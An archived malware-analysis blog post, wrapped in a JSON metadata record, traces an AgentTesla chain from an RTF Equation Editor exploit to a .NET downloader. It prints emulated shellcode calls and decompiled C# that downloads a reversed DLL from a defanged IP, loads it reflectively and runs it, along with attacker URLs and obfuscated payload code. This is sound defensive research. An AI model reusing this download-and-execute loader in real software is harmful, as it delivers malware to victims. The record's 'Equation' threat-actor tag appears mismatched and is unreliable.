{
	"id": "ffc64cc1-a182-49b0-a054-84d93dff43b3",
	"created_at": "2026-04-06T00:22:12.383282Z",
	"updated_at": "2026-04-10T03:22:50.231025Z",
	"deleted_at": null,
	"sha1_hash": "10365148a5db274e2ad6f47c4de307a72aaaa029",
	"title": "AgentTesla From RTF Exploitation to .NET Tradecraft",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 124714,
	"plain_text": "AgentTesla From RTF Exploitation to .NET Tradecraft\r\nPublished: 2022-02-06 · Archived: 2026-04-05 14:33:01 UTC\r\nWhen adversaries buy and deploy threats like AgentTesla you often see this functional and entertaining chain of older\r\nexploitation activity with some .NET framework tradecraft you’d expect from some modern implants. In this post I’ll walk\r\nthrough analyzing one such sample that involves RTF/Equation Editor exploitation and a modular downloader that invokes\r\nAgentTesla. If you want to follow along at home, the sample is in MalwareBazaar here:\r\nhttps://bazaar.abuse.ch/sample/213d36f7d37abac0df9187e6ce3ed8e26bc61bd3e02a725b079be90d7cfd5117/.\r\nTriage the Document File\r\nMalwareBazaar says we have a DOC file, but it could be wrong so let’s take a look with a couple different tools.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\nremnux@remnux:~/cases/tesla-rtf$ file orden.doc\r\norden.doc: Rich Text Format data, unknown version\r\nremnux@remnux:~/cases/tesla-rtf$ diec orden.doc\r\nfiletype: Binary\r\narch: NOEXEC\r\nmode: Unknown\r\nendianess: LE\r\ntype: Unknown\r\n format: RTF\r\n format: plain text[CR]\r\nThe magic bytes for this file make file and Detect-It-Easy think the it’s a Rich Text Format file. This file type shifts our\r\nanalysis path a bit. If the document was a DOC or DOCX format we might expect VBA macros. In this case malicious RTF\r\nfiles commonly contain embedded OLE objects or exploit shellcode for a handful of CVEs in MS Office Equation Editor\r\nthat are about 5 years old. But the exploits still work. Let’s see which attack path we have here.\r\nAnalyzing the RTF Document\r\nOur first analysis path should be to rule out whether embedded OLE things are in the file. We can do this using a\r\ncombination of rtfobj and rtfdump.py .\r\nhttps://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/\r\nPage 1 of 10\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\nremnux@remnux:~/cases/tesla-rtf$ rtfobj orden.rtf\r\nrtfobj 0.60 on Python 3.8.10 - http://decalage.info/python/oletools\r\nTHIS IS WORK IN PROGRESS - Check updates regularly!\r\nPlease report any issue at https://github.com/decalage2/oletools/issues\r\n===============================================================================\r\nFile: 'orden.rtf' - size: 3852 bytes\r\n---+----------+---------------------------------------------------------------\r\nid |index |OLE Object\r\n---+----------+---------------------------------------------------------------\r\n0 |00000120h |Not a well-formed OLE object\r\n---+----------+---------------------------------------------------------------\r\n1 |000000CAh |Not a well-formed OLE object\r\n---+----------+---------------------------------------------------------------\r\nremnux@remnux:~/cases/tesla-rtf$ rtfdump.py -f O orden.rtf\r\nremnux@remnux:~/cases/tesla-rtf$\r\nThe output from rtfobj and rtfdump.py both indicate there aren’t OLE objects expected here. If there were we’d likely\r\nsee an OLE object describing a SCT script file or something similar. So I’m thinking we have RTF Equation Editor\r\nexploitation shellcode here. Let’s hunt for that using rtfdump.py .\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\nremnux@remnux:~/cases/tesla-rtf$ rtfdump.py orden.rtf\r\n 1 Level 1 c= 1 p=00000000 l= 3850 h= 3258; 3115 b= 0 u= 44 \\rtf4818\r\n 2 Level 2 c= 1 p=00000012 l= 3831 h= 3255; 3115 b= 0 u= 38 \\object18503741\r\n 3 Level 3 c= 2 p=000000b9 l= 3663 h= 3247; 3115 b= 0 u= 38 \\*\\objdata132794\r\n 4 Level 4 c= 1 p=000000cb l= 274 h= 21; 11 b= 0 u= 38\r\n 5 Level 5 c= 1 p=000000cc l= 272 h= 21; 11 b= 0 u= 38\r\n...\r\n 68 c= 0 p=000001ff l= 82 h= 18; 18 b= 0 u= 0 \\*\\levelprevspace569740\r\nIt looks like there are 68 streams here in the document, and we want to inspect the streams starting from largest to smallest\r\nuntil you start finding streams with hardly any data. In this document we’ll focus on the first 3 streams since they’re large.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\nremnux@remnux:~/cases/tesla-rtf$ rtfdump.py -H -s 1 orden.rtf | head\r\n00000000: B5 61 85 03 74 16 DF DE F3 12 CD 0C 6C 23 D2 CC .a..t.......l#..\r\n00000010: 56 97 40 58 85 69 74 05 88 CA E9 7B 08 02 00 00 V.@X.it....{....\r\n00000020: 00 0B 00 00 00 45 71 55 41 54 69 4F 4E 2E 33 00 .....EqUATiON.3.\r\n00000030: 00 00 00 00 00 00 00 00 19 06 00 00 02 7E 01 EB .............~..\r\n00000040: 47 0A 01 05 A0 26 3B EC 00 00 00 00 00 00 00 00 G....\u0026;.........\r\n00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\r\n00000060: 00 50 06 45 00 00 00 00 00 00 00 00 00 00 00 00 .P.E............\r\n00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\r\n00000080: 00 29 C3 44 00 00 00 00 E9 74 01 00 00 03 34 AD .).D.....t....4.\r\n00000090: 9D 71 6B 52 A9 8A 3B 6E 7B 04 76 FB 3A 6B AB E6 .qkR..;n{.v.:k..\r\nemnux@remnux:~/cases/tesla-rtf$ rtfdump.py -H -s 2 orden.rtf | head\r\n00000000: 18 50 37 41 6D FD EF 31 2C D0 C6 C2 3D 2C C5 69 .P7Am..1,...=,.i\r\n00000010: 74 05 88 56 97 40 58 8C AE 97 B0 80 20 00 00 00 t..V.@X..... ...\r\n00000020: B0 00 00 04 57 15 54 15 46 94 F4 E2 E3 30 00 00 ....W.T.F....0..\r\n00000030: 00 00 00 00 00 00 01 90 60 00 00 27 E0 1E B4 70 ........`..'...p\r\n00000040: A0 10 5A 02 63 BE C0 00 00 00 00 00 00 00 00 00 ..Z.c...........\r\n00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 ................\r\n00000060: 00 64 50 00 00 00 00 00 00 00 00 00 00 00 00 00 .dP.............\r\nhttps://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/\r\nPage 2 of 10\n\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\n29\r\n30\r\n31\r\n32\r\n33\r\n34\r\n35\r\n00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 ................\r\n00000080: 9C 34 40 00 00 00 0E 97 40 10 00 00 33 4A D9 D7 .4@.....@...3J..\r\n00000090: 16 B5 2A 98 A3 B6 E7 B0 47 6F B3 A6 BA BE 67 35 ..*.....Go....g5\r\nremnux@remnux:~/cases/tesla-rtf$ rtfdump.py -H -s 3 orden.rtf | head\r\n00000000: 6D FD EF 31 2C D0 C6 C2 3D 2C C5 69 74 05 88 56 m..1,...=,.it..V\r\n00000010: 97 40 58 8C AE 97 B0 80 20 00 00 00 B0 00 00 04 .@X..... .......\r\n00000020: 57 15 54 15 46 94 F4 E2 E3 30 00 00 00 00 00 00 W.T.F....0......\r\n00000030: 00 00 01 90 60 00 00 27 E0 1E B4 70 A0 10 5A 02 ....`..'...p..Z.\r\n00000040: 63 BE C0 00 00 00 00 00 00 00 00 00 00 00 00 00 c...............\r\n00000050: 00 00 00 00 00 00 00 00 00 00 00 05 00 64 50 00 .............dP.\r\n00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................\r\n00000070: 00 00 00 00 00 00 00 00 00 00 00 02 9C 34 40 00 .............4@.\r\n00000080: 00 00 0E 97 40 10 00 00 33 4A D9 D7 16 B5 2A 98 ....@...3J....*.\r\n00000090: A3 B6 E7 B0 47 6F B3 A6 BA BE 67 35 C7 35 05 7C ....Go....g5.5.|\r\nStream 1 has the string EqUATiON.3 pretty close to its head, so that’s going to be our best bet to keep analysis going. We\r\ncan extract it using rtfdump.py again.\r\n1\r\n2\r\n3\r\n4\r\nremnux@remnux:~/cases/tesla-rtf$ rtfdump.py -d -H -s 1 orden.rtf \u003e 1.dat\r\nremnux@remnux:~/cases/tesla-rtf$ file 1.dat\r\n1.dat: data\r\nIt looks like the first stream exported and gave us some data as expected. For the next step, we need to deduce the entry\r\npoint of the shellcode. From there we can emulate the shellcode execution. The best way I’ve seen to identify the shellcode\r\nentry point so far is to use xorsearch.py -W .\r\nhttps://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/\r\nPage 3 of 10\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\n28\r\nremnux@remnux:~/cases/tesla-rtf$ xorsearch -W 1.dat\r\nFound XOR 00 position 00000201: GetEIP method 2 EB11\r\nFound ROT 25 position 00000201: GetEIP method 2 EB11\r\nFound ROT 24 position 00000201: GetEIP method 2 EB11\r\nFound ROT 23 position 00000201: GetEIP method 2 EB11\r\nFound ROT 22 position 00000201: GetEIP method 2 EB11\r\nFound ROT 21 position 00000201: GetEIP method 2 EB11\r\nFound ROT 20 position 00000201: GetEIP method 2 EB11\r\nFound ROT 19 position 00000201: GetEIP method 2 EB11\r\nFound ROT 18 position 00000201: GetEIP method 2 EB11\r\nFound ROT 17 position 00000201: GetEIP method 2 EB11\r\nFound ROT 16 position 00000201: GetEIP method 2 EB11\r\nFound ROT 15 position 00000201: GetEIP method 2 EB11\r\nFound ROT 14 position 00000201: GetEIP method 2 EB11\r\nFound ROT 13 position 00000201: GetEIP method 2 EB11\r\nFound ROT 12 position 00000201: GetEIP method 2 EB11\r\nFound ROT 11 position 00000201: GetEIP method 2 EB11\r\nFound ROT 10 position 00000201: GetEIP method 2 EB11\r\nFound ROT 09 position 00000201: GetEIP method 2 EB11\r\nFound ROT 08 position 00000201: GetEIP method 2 EB11\r\nFound ROT 07 position 00000201: GetEIP method 2 EB11\r\nFound ROT 06 position 00000201: GetEIP method 2 EB11\r\nFound ROT 05 position 00000201: GetEIP method 2 EB11\r\nFound ROT 04 position 00000201: GetEIP method 2 EB11\r\nFound ROT 03 position 00000201: GetEIP method 2 EB11\r\nFound ROT 02 position 00000201: GetEIP method 2 EB11\r\nFound ROT 01 position 00000201: GetEIP method 2 EB11\r\nScore: 260\r\nIt looks like xorsearch.py located a GetEIP method used by shellcode to figure out its orientation in memory. We can feed\r\nthat 00000201 offset into our shellcode emulator scdbg .\r\nAnd we get some text output from the emulator to show what the shellcode does (I went ahead and defanged the URL).\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n401438 GetProcAddress(ExpandEnvironmentStringsW)\r\n401477 ExpandEnvironmentStringsW(%APPDATA%\\zxcbnmgu.exe, dst=12fad8, sz=104)\r\n40148c LoadLibraryW(UrlMon)\r\n4014a7 GetProcAddress(URLDownloadToFileW)\r\n401503 URLDownloadToFileW(hxxp://scottbyscott[.]com/ebux/try.exe, C:\\users\\remnux\\Application Data\\zxcbnmgu.exe)\r\n40151f GetProcAddress(WideCharToMultiByte)\r\n40153d WideCharToMultiByte(0,0,in=12fad8,sz=ffffffff,out=12fcf4,sz=104,0,0) = 0\r\n40154d GetProcAddress(WinExec)\r\n401559 WinExec()\r\n40156d GetProcAddress(ExitProcess)\r\n401571 ExitProcess(0)\r\nThere are a few Win32 API calls here, but there are only a few for us to worry about. The ExpandEnvironmentStringsW\r\nfunction looks like it’s preparing for the adversary to write a file to %APPDATA%\\zxcbnmgu.exe . Next, the\r\nURLDownloadToFileW function retrieves some content from scottbyscott[.]com and writes the EXE to that file under\r\nAppData. Finally, the downloaded application launches and Equation Editor exits using ExitProcess .\r\nNow we have some additional EXE content to work with!\r\nAnalyzing the Try.exe Binary\r\nUsing Detect-It-Easy we can see the try.exe binary is a .NET executable.\r\nhttps://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/\r\nPage 4 of 10\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\nremnux@remnux:~/cases/tesla-rtf$ diec try.exe\r\nfiletype: PE32\r\narch: I386\r\nmode: 32-bit\r\nendianess: LE\r\ntype: Console\r\n library: .NET(v4.0.30319)[-]\r\n linker: Microsoft Linker(48.0)[Console32,console]\r\nThis is a stroke of good fortune for us, because we can pretty easily get this back to source code for inspection. To do so, we\r\ncan use ilspycmd and pray there’s no obfuscation.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\nremnux@remnux:~/cases/tesla-rtf$ ilspycmd try.exe \u003e try.decompiled.cs\r\nremnux@remnux:~/cases/tesla-rtf$ head try.decompiled.cs\r\nusing System;\r\nusing System.CodeDom.Compiler;\r\nusing System.ComponentModel;\r\nusing System.Configuration;\r\nusing System.Diagnostics;\r\nusing System.Globalization;\r\nusing System.Net.Http;\r\nusing System.Reflection;\r\nusing System.Resources;\r\nusing System.Runtime.CompilerServices;\r\nAwesome, it looks like we got some successful decompilation. Let’s inspect the code.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n[assembly: AssemblyTitle(\"Google Chrome\")]\r\n[assembly: AssemblyDescription(\"Google Chrome\")]\r\n[assembly: AssemblyConfiguration(\"\")]\r\n[assembly: AssemblyCompany(\"Google LLC\")]\r\n[assembly: AssemblyProduct(\"Google Chrome\")]\r\n[assembly: AssemblyCopyright(\"Copyright 2022 Google LLC. All rights reserved.\")]\r\n[assembly: AssemblyTrademark(\"\")]\r\n[assembly: ComVisible(false)]\r\n[assembly: Guid(\"9ed52309-a8ba-46e5-8d13-1d18443695a0\")]\r\n[assembly: AssemblyFileVersion(\"100.0.4869.0\")]\r\n[assembly: TargetFramework(\".NETFramework,Version=v4.6\", FrameworkDisplayName = \".NET Framework 4.6\")]\r\n[assembly: AssemblyVersion(\"100.0.4869.0\")]\r\nImmediately in the assembly properties we can tell the adversary is trying to masquerade as Google Chrome. They’re trying\r\nto pose as Chrome v100. Another good data point is the GUID value in the assembly properties. If you have VirusTotal\r\nEnterprise/Intelligence you can plug that GUID into a search using netguid: and pivot to find similar .NET binaries.\r\nAlright, since this is a .NET EXE and not a DLL, let’s try to find the entry point. It should be the function Main().\r\n1\r\n2\r\n3\r\n4\r\nprivate static byte[] _buffer;\r\nprivate static Assembly _assembly;\r\nhttps://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/\r\nPage 5 of 10\n\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n[STAThread]\r\nprivate static void Main()\r\n{\r\n Native.ShowWindow(Process.GetCurrentProcess().get_MainWindowHandle(), 0);\r\n Read();\r\n if (BufferLength() \u003e 0)\r\n {\r\n if (Mix() \u003e -1 \u0026\u0026 ACMP() \u003e -1)\r\n {\r\n Console.WriteLine(\"Done\");\r\n }\r\n return;\r\n }\r\n throw new Exception();\r\n}\r\nSure enough, we have a Main function that IS NOT OBFUSCATED! This calls for a drink. Anyways, it looks like Main\r\ncalls 4 functions defined in the code:\r\nRead()\r\nBufferLength()\r\nMix()\r\nACMP()\r\nLet’s take a look at Read() first.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\nprivate static bool Read()\r\n{\r\n try\r\n {\r\n for (int i = 0; i \u003c 5; i++)\r\n {\r\n ProcessStartInfo val = new ProcessStartInfo();\r\n val.set_FileName(\"powershell\");\r\n val.set_Arguments(\"Test-Connection 127.0.0.1\");\r\n val.set_CreateNoWindow(true);\r\n val.set_WindowStyle((ProcessWindowStyle)1);\r\n Process.Start(val).WaitForExit();\r\n }\r\n return true;\r\n }\r\n catch\r\n {\r\n }\r\n return false;\r\n}\r\nThe Read() function looks like it pieces together a PowerShell connection using a ProcessStartInfo object and executes it\r\nwith Process.Start, waiting for the process to finish. Once the command gets build and run, it’ll execute powershell.exe\r\nTest-Connection 127.0.0.1 . The Test-Connection cmdlet in PowerShell is similar to a ping command. When I see this\r\nactivity in the wild it’s usually either a connectivity test or a method to impose a time delay. Once this time delay finishes,\r\nthe method returns and moves to BufferLength().\r\n1\r\n2\r\n3\r\nprivate static long BufferLength()\r\n{\r\n _buffer = ((Task\u003cbyte[]\u003e)typeof(HttpClient).GetMethod(\"SrdsGetBySrdsteArrSrdsayAsySrdsnc\".Replace(\"Srds\", \"\"), new\r\nhttps://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/\r\nPage 6 of 10\n\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n {\r\n typeof(string)\r\n })!.Invoke(new HttpClient(), new object[1]\r\n {\r\n \"hxxp://185.222.58[.]56/try.png\"\r\n })).Result;\r\n return _buffer.Length;\r\n}\r\nSo the BufferLength() function downloads content into a byte array in a rather verbose way. It searches the HttpClient .NET\r\nclass for the method GetByteArrayAsync() and then invokes it with a URL argument. The result gets saved into _buffer , a\r\nbyte array variable, and the function returns the length of this variable. The return value gets used in a BufferLength() \u003e 0\r\ncheck to make sure some content downloaded before proceeding. Now let’s look at the Mix() function.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\nprivate static long Mix()\r\n{\r\n Array.Reverse((Array)_buffer, 0, _buffer.Length);\r\n _assembly = Assembly.Load(_buffer);\r\n return _assembly.HostContext;\r\n}\r\nThe Mix() function takes the _buffer variable, reverses its contents, and reflectively loads the reversed contents into a\r\n_assembly variable. At this point we can be pretty certain that _buffer contains a .NET assembly inside its byte array\r\nand that assembly is loaded into memory. From here, we can assume there will be some kind of Invoke method occurring in\r\nACMP().\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\nprivate static long ACMP()\r\n{\r\n Type[] exportedTypes = _assembly.GetExportedTypes();\r\n foreach (Type type in exportedTypes)\r\n {\r\n MethodInfo[] methods = type.GetMethods();\r\n foreach (MethodInfo methodInfo in methods)\r\n {\r\n if (methodInfo.Name == \"Qddywbxavgtbjaukcldrpmcm\")\r\n {\r\n return (long)methodInfo.Invoke(null, null);\r\n }\r\n }\r\n }\r\n return 0L;\r\n}\r\nThe ACMP() function enumerates the methods in the assembly that was just reflectively loaded in _assembly , looking for\r\na method named Qddywbxavgtbjaukcldrpmcm() . Once found, it invokes the method.\r\nThus ends the story of try.exe , now it’s time to analyze try.png that was downloaded.\r\nAnalyzing the Try.PNG File\r\nRemembering back to the Mix() function, the bytes of try.png are reversed before they get loaded as a .NET assembly.\r\nFirst, we need to make sure the file we have is a reversed EXE or DLL.\r\nhttps://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/\r\nPage 7 of 10\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\nremnux@remnux:~/cases/tesla-rtf$ xxd -C try.png | head\r\n00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\nremnux@remnux:~/cases/tesla-rtf$ xxd -C try.png | tail\r\n00082b60: 0008 2400 0006 010b 210e 00e0 0000 0000 ..$.....!.......\r\n00082b70: 0000 0000 61fd 4946 0003 014c 0000 4550 ....a.IF...L..EP\r\n00082b80: 0000 0000 0000 0024 0a0d 0d2e 6564 6f6d .......$....edom\r\n00082b90: 2053 4f44 206e 6920 6e75 7220 6562 2074 SOD ni nur eb t\r\n00082ba0: 6f6e 6e61 6320 6d61 7267 6f72 7020 7369 onnac margorp si\r\n00082bb0: 6854 21cd 4c01 b821 cd09 b400 0eba 1f0e hT!.L..!........\r\n00082bc0: 0000 0080 0000 0000 0000 0000 0000 0000 ................\r\n00082bd0: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n00082be0: 0000 0000 0000 0040 0000 0000 0000 00b8 .......@........\r\n00082bf0: 0000 ffff 0000 0004 0000 0003 0090 5a4d ..............ZM\r\nSure enough, the end of try.png looks like it ends with a reversed MZ and has a reversed DOS stub. We can easily\r\nreverse these bytes using a bit of PowerShell code.\r\n1\r\n2\r\n3\r\n[Byte[]] $contents = Get-Content -AsByteStream ./try.png\r\n[Array]::Reverse($contents)\r\nSet-Content -Path ./reversed_try.png -Value $contents -AsByteStream\r\nNow we have a .NET DLL in reversed_try.png !\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\nremnux@remnux:~/cases/tesla-rtf$ diec reversed_try.png\r\nfiletype: PE32\r\narch: I386\r\nmode: 32-bit\r\nendianess: LE\r\ntype: DLL\r\n library: .NET(v4.0.30319)[-]\r\n linker: Microsoft Linker(6.0)[DLL32]\r\nJust like before with try.exe we can give this a shot at decompiling, but in this case there is a lot of obfuscation.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\nremnux@remnux:~/cases/tesla-rtf$ ilspycmd reversed_try.png \u003e reversed_try.decompiled.cs\r\nremnux@remnux:~/cases/tesla-rtf$ head reversed_try.decompiled.cs\r\nusing System;\r\nusing System.CodeDom.Compiler;\r\nusing System.Collections;\r\nhttps://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/\r\nPage 8 of 10\n\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\nusing System.Collections.Concurrent;\r\nusing System.Collections.Generic;\r\nusing System.Diagnostics;\r\nusing System.Drawing;\r\nusing System.Globalization;\r\nusing System.IO;\r\nusing System.Reflection;\r\nWe have some valid C# code, so let’s take a look and see how heavy the obfuscation is. Immediately we can see that the\r\nobfuscation is beyond just some string scrambling and gets into Unicode madness.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\ninternal class \u003cModule\u003e\r\n{\r\n static \u003cModule\u003e()\r\n {\r\n if (uint.MaxValue != 0)\r\n {\r\n \\u0005\\u2009\\u2000.\\u0002();\r\n }\r\n if (7u != 0)\r\n {\r\n f0659e5905454a5e99b9752afc78b700();\r\n }\r\n if (true)\r\n {\r\n \\u0008\\u2002\\u2000.\\u0002();\r\n }\r\n }\r\n private static void f0659e5905454a5e99b9752afc78b700()\r\n {\r\n if (4u != 0)\r\n {\r\n \\u0008\\u2009\\u2000.\\u0002();\r\n }\r\n }\r\n}\r\nThis is a level of obfuscation that tends to keep me up a little too late at night, so I’m going to cut analysis short here but\r\nmention another little part of this binary: .NET resources.\r\nIt’s really common for adversaries to hide executable content within Windows PE resources. The same is true of .NET\r\nassemblies, but assemblies have resources stored in a different way than traditional PE resources. AgentTesla has done this\r\nin the past and it seems like the same is occurring here:\r\nhttps://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/\r\nPage 9 of 10\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\nStream? manifestResourceStream = typeof(\\u0002\\u200a\\u2000).Assembly.GetManifestResourceStream(\"289e8a8929dc4fc2616eef\r\nbyte[] array = new byte[128];\r\nif (8u != 0)\r\n{\r\n RuntimeHelpers.InitializeArray(array, (RuntimeFieldHandle)/*OpCode not supported: LdMemberToken*/);\r\n}\r\nStream stream = \\u0008\\u2006.\\u0002(manifestResourceStream, array, \\u0002());\r\nif (4u != 0)\r\n{\r\n \\u0005\\u200a\\u2000 = stream;\r\n}\r\nIn the obfuscated .NET DLL it looks like the code is retrieving additional content from a .NET resource in the binary named\r\n289e8a8929dc4fc2616eefa4e3831722 and working with it. During analysis I used this PowerShell code to extract the\r\nresource, but you can also use ILSpy or DNSpy.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n$teslaAssembly = [System.Reflection.Assembly]::LoadFile('/home/remnux/cases/tesla-rtf/reversed_try.png')\r\n$teslaManifestName = $teslaAssembly.GetManifestResourceNames()\r\n$teslaResourceStream = $teslaAssembly.GetManifestResourceStream('289e8a8929dc4fc2616eefa4e3831722')\r\n$resourceContents = [byte[]]::new([System.Convert]::ToInt32($teslaResourceStream.length))\r\n$teslaResourceStream.Read($resourceContents,0,[System.Convert]::ToInt32($teslaResourceStream.Length))\r\nSet-Content -Path 289e8a8929dc4fc2616eefa4e3831722 -Value $resourceContents -AsByteStream\r\nThe contents of 289e8a8929dc4fc2616eefa4e3831722 are presumably XOR’d but I haven’t fully run that to ground yet.\r\nAdversary Decisions\r\nI want to close out the post by pointing out a design decision in this threat that interests me a bit. The adversary used\r\ntry.exe , compiled .NET code, to download and execute an additional .NET DLL. Several other threats in the wild also\r\nuse this technique such as Yellow Cockatoo/Jupyter and GootLoader. It’s a relatively simple endeavor to write Invoke-WebRequest commands in PowerShell and call [System.Reflection.Assembly]::Load to load a byte array into memory.\r\nThe adversary here decided to make this download via a non-obfuscated binary, making analysis really simple. They also\r\nran the risk of application allowlisting running on the host. If allowlisting was present, they’d fail their objective and need to\r\nuse PowerShell instead. However, doing so with PowerShell also opens up the adversary to risk by allowing PowerShell log\r\nanalysis. All of these decisions have advantages and disadvantages.\r\nThanks for reading and have a good week!\r\nSource: https://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/\r\nhttps://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/\r\nPage 10 of 10",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/"
	],
	"report_names": [
		"agenttesla-rtf-dotnet-tradecraft"
	],
	"threat_actors": [
		{
			"id": "b740943a-da51-4133-855b-df29822531ea",
			"created_at": "2022-10-25T15:50:23.604126Z",
			"updated_at": "2026-04-10T02:00:05.259593Z",
			"deleted_at": null,
			"main_name": "Equation",
			"aliases": [
				"Equation"
			],
			"source_name": "MITRE:Equation",
			"tools": null,
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434932,
	"ts_updated_at": 1775791370,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/10365148a5db274e2ad6f47c4de307a72aaaa029.pdf",
		"text": "https://archive.orkl.eu/10365148a5db274e2ad6f47c4de307a72aaaa029.txt",
		"img": "https://archive.orkl.eu/10365148a5db274e2ad6f47c4de307a72aaaa029.jpg"
	}
}